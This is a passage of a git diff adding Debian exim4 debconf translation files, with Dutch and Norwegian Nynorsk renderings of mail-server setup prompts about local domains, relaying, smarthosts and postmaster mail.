wordt geaccepteerd wordt:" + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"machine should consider itself the final destination. These domains are " +"commonly called 'local domains'. The local hostname (${fqdn}) and " +"'localhost' are always added to the list given here." +msgstr "" +"Gelieve een door puntkomma's gescheiden lijst in te geven van domeinen " +"waarvoor deze machine zichzelf als eindbestemming dient te beschouwen. Deze " +"domeinen zijn bekend als 'lokale domeinen'. De lokale domeinnaam (${fqdn}) " +"en 'localhost' worden altijd toegevoegd en deze hoeft u hier dus niet te " +"vermelden. " + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"By default all local domains will be treated identically. If both a.example " +"and b.example are local domains, acc@a.example and acc@b.example will be " +"delivered to the same final destination. If different domain names should be " +"treated differently, it is necessary to edit the config files afterwards." +msgstr "" +"Standaard worden alle lokale domeinen op dezelfde manier afgehandeld (Als " +"bijvoorbeeld zowel a.voorbeeld als b.voorbeeld lokale domeinen zijn, dan " +"zullen acc@a.voorbeeld en acc@b.voorbeeld op dezelfde eindbestemming " +"afgeleverd worden. Als u verschillende domeinen verschillend wilt behandelen " +"zult u het configuratiebestand later handmatig moeten aanpassen." + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Domains to relay mail for:" +msgstr "Domeinen waarvoor e-mail door te sturen:" + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"system will relay mail, for example as a fallback MX or mail gateway. This " +"means that this system will accept mail for these domains from anywhere on " +"the Internet and deliver them according to local delivery rules." +msgstr "" +"Gelieve een met puntkomma's gescheiden lijst van ontvangstdomeinen in te " +"geven waarvoor dit systeem e-mail zal doorsturen (bv. als een 'mail-gateway' " +"of 'fallback-MX'). Dit betekent dat dit systeem e-mail voor deze domeinen " +"aanvaart van gelijk waar op internet en deze vervolgens bezorgt volgens de " +"lokale afleverregels. " + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Do not mention local domains here. Wildcards may be used." +msgstr "Vul hier geen lokale domeinen in. U kunt hier jokers gebruiken." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "Machines to relay mail for:" +msgstr "Machines waarvoor e-mail door te sturen:" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"Please enter a semicolon-separated list of IP address ranges for which this " +"system will unconditionally relay mail, functioning as a smarthost." +msgstr "" +"Gelieve een door puntkomma's gescheiden lijst van bereiken van IP-adressen " +"in te geven waarvoor dit systeem onvoorwaardelijk e-mail zal doorsturen, en " +"dus als smarthost kan fungeren." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " +"5f03:1200:836f::/48)." +msgstr "" +"U dient hier het standaard 'adres/netgrootte'-formaat te gebruiken (bv. " +"194.222.242.0/24 of 5f03:1200:836f::/48)." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"If this system should not be a smarthost for any other host, leave this list " +"blank." +msgstr "" +"Als dit systeem door geen enkel ander systeem als smarthost gebruikt mag " +"worden, dient u dit leeg te laten." + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "Visible domain name for local users:" +msgstr "Zichtbare domeinnaam voor e-mail van lokale gebruikers:" + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "" +"The option to hide the local mail name in outgoing mail was enabled. It is " +"therefore necessary to specify the domain name this system should use for " +"the domain part of local users' sender addresses." +msgstr "" +"De optie om de lokale e-mailnaam te verbergen in de uitgaande e-mail is " +"actief. Het is dus nodig om de domeinnaam op te geven die dit systeem moet " +"gebruiken voor het domeinnaamgedeelte van het afzendadres van lokale " +"gebruikers." + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "IP address or host name of the outgoing smarthost:" +msgstr "IP-adres of computernaam van de uitgaande smarthost:" + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"Please enter the IP address or the host name of a mail server that this " +"system should use as outgoing smarthost. If the smarthost only accepts your " +"mail on a port different from TCP/25, append two colons and the port number " +"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " +"IPv6 addresses need to be doubled." +msgstr "" +"Gelieve hier het IP-adres of de computernaam van de mailserver die als " +"uitgaande smarthost gebruikt moet worden in te geven. Als de smarthost uw e-" +"mail enkel aanvaart op een andere poort dan TCP/25 dient u 2 dubbele punten " +"en het te gebruiken poortnummer toe te voegen (bv. smarthost.voorbeeld:587 " +"of 192.168.254.254::2525). In IPv6-adressen dienen de dubbele punten " +"gedubbeld te worden." + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"If the smarthost requires authentication, please refer to the Debian-" +"specific README files in /usr/share/doc/exim4-base for notes about setting " +"up SMTP authentication." +msgstr "" +"Als de smarthost authenticatie vereist, dienen er aanvullende instellingen " +"gedaan te worden. Verdere informatie over het instellen van SMTP-" +"authenticatie vindt u in /usr/share/doc/exim4-base ." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Root and postmaster mail recipient:" +msgstr "Wie dient de e-mail voor root en postmaster te ontvangen?" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Mail for the 'postmaster', 'root', and other system accounts needs to be " +"redirected to the user account of the actual system administrator." +msgstr "" +"E-mail voor de 'postmaster', 'root' en andere systeemaccounts dient omgeleid " +"te worden naar de gebruikersaccount van de eigenlijke systeembeheerder." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"If this value is left empty, such mail will be saved in /var/mail/mail, " +"which is not recommended." +msgstr "" +"Als u deze waarde leeg laat, wordt deze e-mail opgeslagen in /var/mail/mail, " +"maar dit is niet aan te raden." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Note that postmaster's mail should be read on the system to which it is " +"directed, rather than being forwarded elsewhere, so (at least one of) the " +"users listed here should not redirect their mail off this machine. A 'real-' " +"prefix can be used to force local delivery." +msgstr "" +"sMerk op dat de e-mail van postmaster best gelezen wordt op het systeem " +"waarnaar de e-mail gericht is (en niet omgeleid naar een ander systeem). Om " +"die reden is het best als de e-mail van (op z'n minst) één van de gekozen " +"gebruikers niet omgeleid wordt naar een ander systeem. Om lokale aflevering " +"af te dwingen kunt u het voorvoegsel 'real-' gebruiken." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Multiple user names need to be separated by spaces." +msgstr "Meerdere gebruikersnamen dienen gescheiden te worden met spaties." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "IP-addresses to listen on for incoming SMTP connections:" +msgstr "" +"IP-adressen waarop geluisterd moet worden naar inkomende SMTP-verbindingen:" + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"Please enter a semicolon-separated list of IP addresses. The Exim SMTP " +"listener daemon will listen on all IP addresses listed here." +msgstr "" +"Gelieve een door puntkomma's gescheiden lijst van IP-adressen in te geven. " +"De luisterende SMTP-achtergronddienst van Exim zal luisteren op alle hier " +"aangegeven IP-adressen." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"An empty value will cause Exim to listen for connections on all available " +"network interfaces." +msgstr "" +"Een lege waarde zorgt ervoor dat Exim op alle beschikbare netwerkapparaten " +"naar verbindingen luistert." + +#. Type: string +#. Description +#: ../exim4-config.templates:10001 +msgid "" +"If this system only receives mail directly from local services (and not from " +"other hosts), it is suggested to prohibit external connections to the local " +"Exim daemon. Such services include e-mail programs (MUAs) which talk to " +"localhost only as well as fetchmail. External connections are impossible " +"when 127.0.0.1 is entered here, as this will disable listening on public " +"network interfaces." +msgstr "" +"Indien dit systeem enkel rechtstreeks e-mail ontvangt van lokale diensten " +"(zoals fetchmail) en dus niet van andere computers is het aan te raden om " +"externe verbindingen naar de lokale Exim-achtergronddienst te verhinderen. " +"Zo'n diensten omvatten e-mailprogramma's (MUA's) die enkel met localhost " +"contact maken en fetchmail. Externe verbindingen zijn onmogelijk wanneer " +"hier 127.0.0.1 ingeven wordt, daar dit luisteren op publieke netwerk-" +"interfaces uitschakelt." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" +msgstr "Aantal DNS-aanvragen minimaliseren (inbellen-op-aanvraag)?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"In normal mode of operation Exim does DNS lookups at startup, and when " +"receiving or delivering messages. This is for logging purposes and allows " +"keeping down the number of hard-coded values in the configuration." +msgstr "" +"In de normale operatiemodus zal Exim DNS-opzoekingen doen bij het opstarten, " +"en bij het ontvangen of versturen van een bericht. Dit is enkel omwille van " +"logboekdoeleinden en laat toe om het aantal vaste (hard-coded) waarden in de " +"configuratie klein te houden." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"If this system does not have a DNS full service resolver available at all " +"times (for example if its Internet access is a dial-up line using dial-on-" +"demand), this might have unwanted consequences. For example, starting up " +"Exim or running the queue (even with no messages waiting) might trigger a " +"costly dial-up-event." +msgstr "" +"Er kunnen ongewenste gevolgen optreden indien dit systeem niet altijd " +"toegang heeft tot een DNS-naamserver (bijvoorbeeld omdat voor toegang tot " +"het Internet gebruik gemaakt wordt van een inbellen-op-aanvraag verbinding). " +"Zo zal dan bij het opstarten van exim, of bij het afhandelen van de wachtrij " +"(zelfs wanneer deze geen berichten bevat) een kostbare inbelverbinding tot " +"stand gebracht wordt." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:11001 +msgid "" +"This option should be selected if this system is using Dial-on-Demand. If it " +"has always-on Internet access, this option should be disabled." +msgstr "" +"Deze optie dient geactiveerd te zijn wanneer u inbellen-op-aanvraag " +"gebruikt. Als dit systeem een permanente Internet-verbinding heeft dient " +"deze optie uitgeschakeld te zijn." + +#. Type: title +#. Description +#: ../exim4-config.templates:12001 +msgid "Mail Server configuration" +msgstr "Configuratie van de E-mailserver" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "Split configuration into small files?" +msgstr "Configuratiebestand opsplitsen in kleinere bestanden?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"The Debian exim4 packages can either use 'unsplit configuration', a single " +"monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " +"where the actual Exim configuration files are built from about 50 smaller " +"files in /etc/exim4/conf.d/." +msgstr "" +"Om de uiteindelijke configuratie te genereren kunnen de Debian exim4-" +"pakketten of een 'ongesplitste' configuratie in één groot monolitisch " +"bestand (/etc/exim4/exim4.conf.template), of een 'opgesplitste' configuratie " +"in ongeveer 50 kleinere bestanden in /etc/exim4/conf.d/ gebruiken." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"Unsplit configuration is better suited for large modifications and is " +"generally more stable, whereas split configuration offers a comfortable way " +"to make smaller modifications but is more fragile and might break if " +"modified carelessly." +msgstr "" +"Ongesplitste configuratie is het meest geschikt voor grote aanpassingen en " +"is stabieler, terwijl een gesplitste configuratie meer geschikt is om een " +"een heleboel kleine aanpassingen te maken, maar is ook kwetsbaarder (wat kan " +"leiden tot een niet-werkende configuratie bij onvoorzichtige aanpassingen)." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:13001 +msgid "" +"A more detailed discussion of split and unsplit configuration can be found " +"in the Debian-specific README files in /usr/share/doc/exim4-base." +msgstr "" +"Een meer gedetailleerde discussie van gesplitste versus ongesplitste " +"configuratie vindt u in de Debian-specifieke README-bestanden in /usr/share/" +"doc/exim4-base ." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "Hide local mail name in outgoing mail?" +msgstr "Lokale e-mailnaam verbergen in uitgaande e-mail?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:14001 +msgid "" +"The headers of outgoing mail can be rewritten to make it appear to have been " +"generated on a different system. If this option is chosen, '${mailname}', " +"'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" +"Path are rewritten." +msgstr "" +"De kopteksten van uitgaande e-mails kunnen herschreven worden om de indruk " +"te geven dat de e-mail verstuurd wordt vanaf een ander systeem. Als deze " +"optie actief is worden '${mailname}', 'localhost' en '${dc_other_hostnames}' " +"in de 'From'-, 'Reply-To'-, 'Sender'- en 'Return-Path'-kopteksten " +"herschreven." + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "mbox format in /var/mail/" +msgstr "mbox-formaat in /var/mail/" + +#. Type: select +#. Choices +#: ../exim4-config.templates:15001 +msgid "Maildir format in home directory" +msgstr "Maildir-formaat in de thuismap" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "Delivery method for local mail:" +msgstr "Aflevermethode voor lokale e-mail:" + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Exim is able to store locally delivered email in different formats. The most " +"commonly used ones are mbox and Maildir. mbox uses a single file for the " +"complete mail folder stored in /var/mail/. With Maildir format every single " +"message is stored in a separate file in ~/Maildir/." +msgstr "" +"Exim kan de lokaal afgeleverde e-mail in verschillende formaten opslaan. De " +"meestgebruikte formaten zijn mbox en Maildir. Het mbox-formaat gebruikt een " +"enkel bestand met daarin alle e-mail voor een gebruiker en slaat dit op in /" +"var/mail. Bij gebruik van het maildir-formaat wordt elk bericht opgeslagen " +"in een afzonderlijk bestand in ~/Maildir/." + +#. Type: select +#. Description +#: ../exim4-config.templates:15002 +msgid "" +"Please note that most mail tools in Debian expect the local delivery method " +"to be mbox in their default." +msgstr "" +"Merk op dat de meeste e-mailprogramma's in Debian standaard verwachten dat " +"de lokale aflevermethode mbox is." + +#, fuzzy +#~ msgid "Move undelivered mails from exim 3 to exim4 spool?" +#~ msgstr "" +#~ "Nog niet afgeleverde e-mails verplaatsen van de exim(v3)-spoolmap naar de " +#~ "exim4-spoolmap?" + +#, fuzzy +#~ msgid "" +#~ "There are some undelivered mails in exim 3 (or exim-tls 3) spool " +#~ "directory /var/spool/exim/input/." +#~ msgstr "" +#~ "Er zijn nog enkele niet-afgeleverde berichten in de exim(v3) (of exim-tls" +#~ "(v3)) spoolmap /var/spool/exim/input." + +#~ msgid "" +#~ "Choosing this option will move these messages to exim4's spool (/var/" +#~ "spool/exim4/input/) where they will be handled by exim4." +#~ msgstr "" +#~ "Als deze optie gekozen wordt worden de berichten naar de spoolmap van " +#~ "exim4 verplaatst (/var/spool/exim4/input/) waar ze verder door exim4 " +#~ "afgehandeld worden." + +#, fuzzy +#~ msgid "" +#~ "This works only one-way: Exim4 can handle Exim 3 spool but not vice-" +#~ "versa. If you reject this option, you need to move the messages yourself " +#~ "or they will never be delivered." +#~ msgstr "" +#~ "Dit is eenrichtingsverkeer: Exim4 kan de exim(v4) spoolmap aan, maar niet " +#~ "omgekeerd. Bijgevolg dient u de berichten enkel te verplaatsen als u niet " +#~ "van plan bent om later terug te gaan naar exim(v3). Als deze voorwaarde " +#~ "niet geldt dient u de berichten later handmatig over te zetten." + +#~ msgid "Leaving this list blank will have Exim do no local deliveries." +#~ msgstr "" +#~ "Dit leeg laten zorgt ervoor dat Exim geen lokale afleveringen verzorgt." diff --git a/debian/po/nn.po b/debian/po/nn.po new file mode 100644 index 0000000..6666c22 --- /dev/null +++ b/debian/po/nn.po @@ -0,0 +1,660 @@ +# translation of nn.po to Norwegian nynorsk +# +# Translators, if you are not familiar with the PO format, gettext +# documentation is worth reading, especially sections dedicated to +# this format, e.g. by running: +# info -n '(gettext)PO Files' +# info -n '(gettext)Header Entry' +# Some information specific to po-debconf are available at +# /usr/share/doc/po-debconf/README-trans +# or http://www.debian.org/intl/l10n/po-debconf/README-trans# +# Developers do not need to manually edit POT or PO files. +# +# HÃ¥vard Korsvoll <korsvoll@skulelinux.no>, 2004. +# HÃ¥vard Korsvoll <korsvoll@gmail.com>, 2006, 2007. +msgid "" +msgstr "" +"Project-Id-Version: nn\n" +"Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" +"POT-Creation-Date: 2007-07-18 08:29+0200\n" +"PO-Revision-Date: 2007-10-01 14:55+0200\n" +"Last-Translator: HÃ¥vard Korsvoll <korsvoll@gmail.com>\n" +"Language-Team: Norwegian nynorsk <i18n-nn@lister.ping.uio.no>\n" +"Language: \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Generator: KBabel 1.11.4\n" +"Plural-Forms: nplurals=2; plural=(n != 1);\n" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "Remove undelivered messages in spool directory?" +msgstr "Fjerne e-post som ikkje er sendt frÃ¥ kømappa?" + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"There are e-mail messages in the Exim spool directory /var/spool/exim4/" +"input/ which have not yet been delivered. Removing Exim will cause them to " +"remain undelivered until Exim is re-installed." +msgstr "" +"I kømappa til exim /var/spool/exim4/input/ er det framleis e-post som ikkje " +"er levert enno. Ved Ã¥ fjerne Exim vil desse forbli ulevert fram til Exim " +"blir installert igjen." + +#. Type: boolean +#. Description +#: ../exim4-base.templates:1001 +msgid "" +"If this option is not chosen, the spool directory is kept, allowing the " +"messages in the queue to be delivered at a later date after Exim is re-" +"installed." +msgstr "" +"Viss dette ikkje er valt, vil kømappa bli lagt igjen. Meldingane i kømappa " +"kan dÃ¥ bli levert ved eit seinare høve etter ein reinstallasjon av Exim." + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "Reconfigure exim4-config instead of this package" +msgstr "Vil du setje opp exim4-config i staden for denne pakka?" + +#. Type: error +#. Description +#: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 +#: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 +msgid "" +"Exim4 has its configuration factored out into a dedicated package, exim4-" +"config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." +msgstr "" +"Oppsettet av Exim4 er skilt ut i ein eigen pakke, exim4-config. For Ã¥ setje " +"opp Exim4, bruk dpkg-reconfigure exim4-config." + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "internet site; mail is sent and received directly using SMTP" +msgstr "internettstad; e-post vert sendt og motteke direkte med SMTP" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; received via SMTP or fetchmail" +msgstr "e-post sendt med smarthost; motteke med SMTP eller fetchmail" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "mail sent by smarthost; no local mail" +msgstr "e-post sendt med smarthost; ingen lokal e-post" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "local delivery only; not on a network" +msgstr "berre lokal levering; ikkje pÃ¥ eit nettverk" + +#. Type: select +#. Choices +#. Translators beware! the following six strings form a single +#. Choices menu. - Every one of these strings has to fit in a standard +#. 80 characters console, as the fancy screen setup takes up some space +#. try to keep below ~71 characters. +#. DO NOT USE commas (,) in Choices translations otherwise +#. this will break the choices shown to users +#: ../exim4-config.templates:1001 +msgid "no configuration at this time" +msgstr "ikkje setja opp noko no" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "General type of mail configuration:" +msgstr "Generell type e-postoppsett:" + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Please select the mail server configuration type that best meets your needs." +msgstr "Vel det oppsettet som passar best for din e-posttenar." + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"Systems with dynamic IP addresses, including dialup systems, should " +"generally be configured to send outgoing mail to another machine, called a " +"'smarthost' for delivery because many receiving systems on the Internet " +"block incoming mail from dynamic IP addresses as spam protection." +msgstr "" +"System med dynamisk IP-adresse, inkludert system med oppringt " +"internettsamband, bør generelt setjast opp til Ã¥ senda e-post til ei anna " +"maskin som vert kalla ein «smarthost» for Ã¥ levera e-posten. Grunnen er at " +"mange e-posttenarar pÃ¥ nettet blokkerer e-post frÃ¥ dynamiske IP-adressar for " +"Ã¥ verne seg mot søppelpost." + +#. Type: select +#. Description +#: ../exim4-config.templates:1002 +msgid "" +"A system with a dynamic IP address can receive its own mail, or local " +"delivery can be disabled entirely (except mail for root and postmaster)." +msgstr "" +"Eit system med dynamisk IP-adresse kan motta sin eigen e-post, eller lokal " +"leveranse kan slÃ¥ast fullstendig av (bortsett frÃ¥ e-post til root og " +"postmaster)." + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "Really leave the mail system unconfigured?" +msgstr "Vil du verkeleg la vera Ã¥ setja opp e-postsystemet?" + +#. Type: boolean +#. Description +#: ../exim4-config.templates:2001 +msgid "" +"Until the mail system is configured, it will be broken and cannot be used. " +"Configuration at a later time can be done either by hand or by running 'dpkg-" +"reconfigure exim4-config' as root." +msgstr "" +"Før e-postsystemet ditt er sett opp, vil det ikkje fungera og kan ikkje " +"brukast. Du kan naturlegvis setja det opp seinare, anten manuelt eller ved Ã¥ " +"køyra «dpkg-reconfigure exim4-config» som root." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "System mail name:" +msgstr "Systemet sitt e-postnamn:" + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"The 'mail name' is the domain name used to 'qualify' mail addresses without " +"a domain name." +msgstr "" +"«E-postnamnet» er domenenamnet som vert brukt til Ã¥ fylle ut e-postadressar " +"utan domenenamn." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name will also be used by other programs. It should be the single, " +"fully qualified domain name (FQDN)." +msgstr "" +"Dette namnet vil ogsÃ¥ bli brukt av andre program. Det bør vera det eine, " +"fullt kvalifiserte domenenamnet (FQDN)." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"Thus, if a mail address on the local host is foo@example.org, the correct " +"value for this option would be example.org." +msgstr "" +"Viss ein e-postadresse pÃ¥ den lokale verten til dømes er brukar@domene.no, " +"sÃ¥ er den riktige verdien som skal brukast her domene.no." + +#. Type: string +#. Description +#: ../exim4-config.templates:3001 +msgid "" +"This name won't appear on From: lines of outgoing messages if rewriting is " +"enabled." +msgstr "" +"Dette namnet vil ikkje koma fram i FrÃ¥:-linja i utgÃ¥ande meldingar viss du " +"slÃ¥r pÃ¥ omskriving." + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "Other destinations for which mail is accepted:" +msgstr "Andre destinasjonar som e-post vert godteke for:" + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"machine should consider itself the final destination. These domains are " +"commonly called 'local domains'. The local hostname (${fqdn}) and " +"'localhost' are always added to the list given here." +msgstr "" +"Skriv inn ei liste, skilde med semikolon, over domener som denne maskina " +"skal rekna seg sjølv som sluttdestinasjon for. Desse domena vert vanlegvis " +"kalla for «lokaldomener». Det lokale vertsnamnet (${fqdn}) og «localhost» " +"vert alltid lagt til denne lista. " + +#. Type: string +#. Description +#: ../exim4-config.templates:4001 +msgid "" +"By default all local domains will be treated identically. If both a.example " +"and b.example are local domains, acc@a.example and acc@b.example will be " +"delivered to the same final destination. If different domain names should be " +"treated differently, it is necessary to edit the config files afterwards." +msgstr "" +"Som standard vil alle domener bli handtert likt. Viss bÃ¥de a.døme og b.døme " +"er lokale domener, vil acc@a.døme og acc@b.døme bli levert til den same " +"mottakaren. viss du vil at ulike domenenamn skal handterast ulikt, mÃ¥ du " +"redigere oppsettsfilene etterpÃ¥." + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Domains to relay mail for:" +msgstr "Domener det skal vidaresendast e-post for:" + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "" +"Please enter a semicolon-separated list of recipient domains for which this " +"system will relay mail, for example as a fallback MX or mail gateway. This " +"means that this system will accept mail for these domains from anywhere on " +"the Internet and deliver them according to local delivery rules." +msgstr "" +"Skriv inn ei liste over domener - med semikolon mellom - som dette systemet " +"skal videresene meldingar til, til dømes som ein reserve-MX eller e-" +"postportnar. Dette betyr at dette systemet vil akseptere e-post til desse " +"domena frÃ¥ kvar som helst pÃ¥ Internett og levere dei i samsvar med lokale " +"leveringsreglar." + +#. Type: string +#. Description +#: ../exim4-config.templates:5001 +msgid "Do not mention local domains here. Wildcards may be used." +msgstr "Ikkje oppgje lokale domene her. Jokerteikn kan brukast." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "Machines to relay mail for:" +msgstr "Maskiner det skal vidaresendast e-post for:" + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"Please enter a semicolon-separated list of IP address ranges for which this " +"system will unconditionally relay mail, functioning as a smarthost." +msgstr "" +"Oppgje ei liste over IP-adresseomrÃ¥de - med semikolon mellom - som dette " +"systemet utan vilkÃ¥r skal vidaresende e-post for og fungere som smartvert." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " +"5f03:1200:836f::/48)." +msgstr "" +"Du mÃ¥ bruke standard adresse/lengde-format (t.d. 194.222.242.0/24 eller " +"5f03:1200:836f::/48)." + +#. Type: string +#. Description +#: ../exim4-config.templates:6001 +msgid "" +"If this system should not be a smarthost for any other host, leave this list " +"blank." +msgstr "" +"Viss dette systemet ikkje skal vere smartvert for nokon andre system, sÃ¥ la " +"denne lista vere tom." + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "Visible domain name for local users:" +msgstr "Synlege domenenamn for lokale brukarar:" + +#. Type: string +#. Description +#: ../exim4-config.templates:7001 +msgid "" +"The option to hide the local mail name in outgoing mail was enabled. It is " +"therefore necessary to specify the domain name this system should use for " +"the domain part of local users' sender addresses." +msgstr "" +"Valet om Ã¥ gøyme det lokale e-postnamnet i utgÃ¥ande e-post er slÃ¥tt pÃ¥. Det " +"er derfor naudsynt Ã¥ oppgje det domenenamnet dette systemet skal bruke i " +"domenedelen til avsenderadressa for lokale brukarar." + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "IP address or host name of the outgoing smarthost:" +msgstr "IP-adresse eller vertsnamn for utgÃ¥ande smartvert:" + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"Please enter the IP address or the host name of a mail server that this " +"system should use as outgoing smarthost. If the smarthost only accepts your " +"mail on a port different from TCP/25, append two colons and the port number " +"(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " +"IPv6 addresses need to be doubled." +msgstr "" +"Oppgje IP-adresse eller vertsnamn for ein e-posttenar som dette systemet " +"skal bruke som utgÃ¥ande smartvert. Viss smartverten berre tek imot e-post pÃ¥ " +"ein anna port enn TCP/24, sÃ¥ legg til to kolonner og portnummeret (t.d. " +"smartvert.eksempel::587 eller 192.168.254.254::2525). Kolon i IPv6-adresser " +"mÃ¥ doblast." + +#. Type: string +#. Description +#: ../exim4-config.templates:8001 +msgid "" +"If the smarthost requires authentication, please refer to the Debian-" +"specific README files in /usr/share/doc/exim4-base for notes about setting " +"up SMTP authentication." +msgstr "" +"Viss smartverten krev autentisering, sÃ¥ sjÃ¥ etter i den debianspesifikke " +"README-fila i /usr/share/doc/exim4-base/ for merknader om korleis setja opp " +"SMTP-autentisering." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Root and postmaster mail recipient:" +msgstr "E-postmottakarar for root og postmaster:" + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Mail for the 'postmaster', 'root', and other system accounts needs to be " +"redirected to the user account of the actual system administrator." +msgstr "" +"Post til «postmaster», «root» og andre systemkontoar mÃ¥ vidaresendast til " +"brukarkontoen til han som er systemadministrator." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"If this value is left empty, such mail will be saved in /var/mail/mail, " +"which is not recommended." +msgstr "" +"Viss dette stÃ¥rt tomt, sÃ¥ vil slik e-post bli lagra i /var/mail/mail, noko " +"som ikkje er tilrÃ¥dd." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "" +"Note that postmaster's mail should be read on the system to which it is " +"directed, rather than being forwarded elsewhere, so (at least one of) the " +"users listed here should not redirect their mail off this machine. A 'real-' " +"prefix can be used to force local delivery." +msgstr "" +"Merk at e-post til «postmaster» bør lesast pÃ¥ det systemet han er adressert " +"til og ikkje vidaresendast til andre system, sÃ¥ (minst ein av) brukarane du " +"vel bør ikkje ha e-posten sin vidaresendt frÃ¥ denne maskina. Bruk eit " +"«verkeleg»- prefiks for Ã¥ tvinge fram lokal levering." + +#. Type: string +#. Description +#: ../exim4-config.templates:9001 +msgid "Multiple user names need to be separated by spaces." +msgstr "Om du skriv inn 